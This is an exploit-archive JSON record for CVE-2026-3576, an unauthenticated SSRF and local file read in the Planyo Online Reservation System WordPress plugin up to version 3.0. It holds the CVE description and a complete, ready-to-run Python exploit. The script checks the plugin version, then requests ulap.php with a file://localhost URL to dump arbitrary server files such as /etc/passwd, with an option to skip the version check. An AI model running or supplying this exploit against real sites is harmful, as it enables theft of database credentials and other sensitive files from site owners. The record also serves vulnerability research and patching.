{"exploit":{"id":"EDB-52636","name":"Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via Server-Side Request Forgery (SSRF)","description":"Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via Server-Side Request Forgery (SSRF)","cves":["CVE-2026-3576"],"author":"Balachandar Gowrisankar","published":"2026-08-11","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52636","path":"exploits/multiple/webapps/52636.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52636.py","vulnerabilities":[{"id":"CVE-2026-3576","state":"PUBLISHED","title":"Planyo online reservation system <= 3.0 - Unauthenticated Server-Side Request Forgery via 'ulap_url' Parameter","titleSource":"CVE Program","description":"The Planyo Online Reservation System plugin for WordPress is vulnerable to Server-Side Request Forgery leading to Local File Inclusion in all versions up to, and including, 3.0. The ulap.php file acts as an AJAX proxy and is directly accessible without WordPress bootstrapping or any authentication. The send_http_post() function validates the host of the provided URL against an allowlist that includes 'localhost', but critically fails to validate the URL scheme/protocol. This makes it possible for unauthenticated attackers to supply a file:// URL (e.g., file://localhost/etc/passwd) which bypasses the host allowlist check because parse_url() returns 'localhost' as the host. The URL is then passed to curl_init() or fopen(), both of which support the file:// protocol, allowing the attacker to read arbitrary local files on the server and have their contents returned in the HTTP response. This can lead to disclosure of sensitive files such as /etc/passwd, wp-config.php (containing database credentials and authentication keys), and other server-side files.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-3576","cvss":{"version":"3.1","baseScore":7.2,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","source":"Wordfence","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-3576"},"updatedAt":"2026-07-13T16:13:57.980Z","retrievedAt":"2026-11-25T16:13:47.231Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52636.png?v=2","url":"https://exploitbin.com/exploits/EDB-52636","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52636/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52636/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Planyo_Online_Reservation_System  3.0 - Arbitrary File Read via SSRF\n# Date: 12-07-2026\n# Exploit Author: Balachandar Gowrisankar\n# Vendor Homepage: https://www.planyo.com/wordpress-reservation-system/\n# Software Link: https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/\n# Version: <= 3.0\n# Tested on: Kali GNU/Linux Rolling, Wordpress 7.0.1, Apache 2.4.68, Python 3.13.14\n# CVE: CVE-2026-3576\n# CVSS Score: 7.2\n\n# Usage: python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd\n\nimport argparse\nimport requests\nimport re\n\ndef version_check(base_url):\n\n    readme_url = base_url + \"wp-content/plugins/planyo-online-reservation-system/readme.txt\"\n\n    response = requests.get(readme_url)\n    text = response.text\n\n    match = re.search(r\"==\\s*Changelog\\s*==(.*)\", text, re.DOTALL | re.IGNORECASE)\n    if match:\n        changelog = match.group(1)\n        versions = re.findall(r\"=\\s*v?([A-Za-z0-9._-]+)\\s*=\", changelog)\n        if versions:\n            print(\"[+] Version found:\", versions[-1])\n            if versions[-1] in ['1.0', '1.1', '1.1.1', '1.2', '1.3', '1.5', '1.6', '1.7', '1.8', '2.3', '2.6', '2.7', '2.8', '2.9', '3.0']:\n                print(\"[+] Target is vulnerable\")\n            else:\n                print(\"[-] Target is not vulnerable. Exiting.\")\n                exit()\n        else:\n            print(\"[-] No versions found. Try skipping version check to see if exploit still works.\")\n            exit()\n    else:\n        print(\"[-] No changelog section found. Try skipping version check to see if exploit still works.\")\n        exit()\n\ndef read_file(base_url, file):\n\n    target_url = base_url + \"wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost\" + file\n\n    try:\n        response = requests.get(target_url)\n        response.raise_for_status()\n\n        print(response.text)\n\n    except requests.exceptions.HTTPError as e:\n        print(e)\n\ndef main():\n\n    parser = argparse.ArgumentParser(description=\"Exploit for CVE-2026-3576\")\n\n    parser.add_argument(\"base_url\", help=\"Target wordpress root directory(eg: http://localhost/wordpress/)\")\n    parser.add_argument(\"-f\", \"--file\", type=str, default=\"/etc/passwd\", help=\"Location of arbitrary file on target. Default: /etc/passwd\")\n    parser.add_argument(\"-d\", \"--disable-check\", action=\"store_true\", help=\"Disable target vulnerability check. Default: False\")\n\n    args = parser.parse_args()\n\n    if not args.disable_check:\n        print(\"[*] Checking if target is vulnerable...\")\n        version_check(args.base_url)\n\n    print(\"\\n[*] Attempting to read arbitrary file...\\n\")\n    read_file(args.base_url, args.file)\n\nif __name__ == \"__main__\":\n    main()","sha256":"85586f40363ecde76cb7a1b2a68455305289a4f5ec3f8a9230eee1203f10941e","bytes":2709,"fetchedAt":"2026-11-26T08:55:37.490Z","encoding":"utf-8 (display only; download retains original bytes)"}